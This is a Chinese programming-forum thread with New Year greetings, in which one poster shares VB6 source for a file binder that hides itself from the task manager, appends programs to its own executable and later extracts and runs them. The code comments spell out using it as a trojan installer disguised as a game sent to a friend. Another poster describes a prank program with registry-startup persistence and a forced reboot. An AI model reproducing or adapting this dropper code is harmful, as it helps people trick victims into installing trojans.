给大家拜年了。

lights

为了不成为口水贴，顺便发段代码，关于文件操作的。

是老黄历了：
'VB也疯狂，自己生成自己，病毒？
'病毒是在程序中加入额外的代码来完成自己的使命。
'这个程序是在程序中加入额外的程序。
'如果你想给你的朋友发个大木马程序......
'如果你想把什么驻留在你朋友的电脑里......
'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......
'木马我不提供、安装木马的程序我不提供。
'提供给你源代码，其实修改一下就是很好的木马安装程序。
'假设你把这个程序编译成dan.exe
'这个程序的使用方法 如：DAN pro1.exe ie.exe
'就会生成一个 dan_2.exe
'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。
'实例: DAN hehehe.exe game.exe
'hehehe.exe 是你的木马安装程序
'game.exe 是游戏或是安装程序
'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe
'发给你的朋友，呵呵......纯属例子，请勿模仿。
'支持监测自身是否染毒的程序，以及一切运行程序。
'不支持监测自身是否改名的程序（有这么变态的程序么？）
'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）

'dangerous.bas 无窗口程序。

'全都是为shell32bit准备
Public Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)

Public Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束
         Dim hProcess As Long
         Dim RetVal As Long
         hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))
         Do
             GetExitCodeProcess hProcess, RetVal
             DoEvents: Sleep 100
         Loop While RetVal = &H103
End Sub
Sub Main()
On Error Resume Next
Dim tCom As String
Dim tTag As Long
Dim Add1 As Long
Dim long1 As Long
Dim Add2 As Long
Dim long2 As Long
tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过
Dim n As Long
Dim pict() As Byte

App.TaskVisible = False '不显示在任务管理器
ddd = App.Path
If Right(ddd, 1) <> "\" Then ddd = ddd & "\"
tCom = Command()
file1 = PickWord(tCom) '命令行输入的第一个参数
file2 = PickWord(tCom) '命令行输入的第二个参数
tfile = ddd & App.EXEName & ".exe"
tfile2 = ddd & App.EXEName & "_2" & ".exe"
'tfile2 = tfile
FileCopy tfile, tfile2 '复制一个临时的文件

code = FreeFile(1)
Open tfile2 For Binary As code
  
  Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息
   Get code, , Add1 '文件一地址
   Get code, , long1 '文件一尺寸
   Get code, , Add2 '文件二地址
   Get code, , long2 '文件二尺寸
   Get code, , n '是否处理过的标志
If n = tTag Then '如果是一个处理过的文件
'解开执行
  file1 = ddd & App.EXEName & "_2a" & ".exe"
  file1 = ddd & "tmp.exe"
  'file2 = ddd & App.EXEName & "_2b" & ".exe"
  '生成文件1
  ReDim pict(long1 - 1)
  Seek code, Add1
   Get code, , pict
  code2 = FreeFile(1)
  Open file1 For Binary As code2
   Put code2, , pict
  Close code2
  Close code
  Kill tfile2
  Load Form1
  Form1.Caption = tfile2
  Form1.Show 1
  '生成文件2
  'ReDim pict(long2 - 1)
  'Seek code, Add2
  ' Get code, , pict
  'code2 = FreeFile(1)
  'Open file2 For Binary As code2
  ' Put code2, , pict
  'Close code2
  'Shell32Bit file2 '执行文件2
  'Kill file2 '删除文件2
  
Else
'合并文件
   '并入文件1
  Seek code, 1 + FileLen(tfile2)
   code2 = FreeFile(1)
   Open file1 For Binary As code2
    ReDim pict(FileLen(file1) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '并入文件2
' Seek code, 1 + FileLen(tfile2) + FileLen(file1)
  ' code2 = FreeFile(1)
  ' Open file2 For Binary As code2
  '  ReDim pict(FileLen(file2) - 1)
  '  Get code2, , pict
  '  Put code, , pict
  ' Close code2
  ' If Err.Number <> 0 Then GoTo errNofile
  ' Err.Clear
   '计录状态
  Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)
   Add1 = 1 + FileLen(tfile2)
   long1 = FileLen(file1)
   Add2 = 1 + FileLen(tfile2) + FileLen(file1)
   long2 = FileLen(file2)
   Put code, , Add1
   Put code, , long1
   Put code, , Add2
   Put code, , long2
   Put code, , tTag
End If

Close code

If n = tTag Then Kill tfile2 '执行完毕删除临时文件
End

errNofile: '缺少连接文件
Close code '关闭临时文件
Kill tfile2 '删除临时文件
MsgBox "         找不到文件。" & Chr(13) _
     & Chr(13) _
     & "           使用方法：" & Chr(13) _
     & "APPname File1name File2name " & Chr(13) _
     & "  APPname: 本程序文件名" & Chr(13) _
     & "File1name: 连接的第一个文件" & Chr(13) _
     & "File2name: 连接的第二个文件" _
     , vbOKOnly, "错误"
End

End Sub
Public Function PickWord(strs As String) As String '挨个取出字符串中的单词
For a = 1 To Len(strs)
  If Mid(strs, a, 1) <> " " Then ss = a:  GoTo 100
Next a
PickWord = "": Exit Function
100
For a = ss To Len(strs)
  If Mid(strs, a, 1) = " " Then ee = a: GoTo 200
Next a
ee = a
200
PickWord = Mid(strs, ss, ee - ss)
strs = Mid(strs, ee + 1)
End Function

lights

肯定可以，不过我并没有写相应的代码，因为当年写这个时并不很关心图标的问题。

F.Phoenix

呵，记得2000年我也用VB6写过一个恶作剧程序

当用户运行该程序后，程序界面会将屏幕占满
接着屏幕掉键盘上的所有按键
然后将自身COPY到Windows文件夹下
同时操作注册表，在系统启动项中添加该程序路径的子键
接着问一系列无聊的问题，到最后，强行重启电脑

不过这个程序也只能捉弄一下非Windows高级用户罢了

sandy_zc_1

lights的这个程序以前似乎见过啊*^_^*
拜年了！

游戏之家

http://bbs.gameres.com/upload/sf_200599132446.rar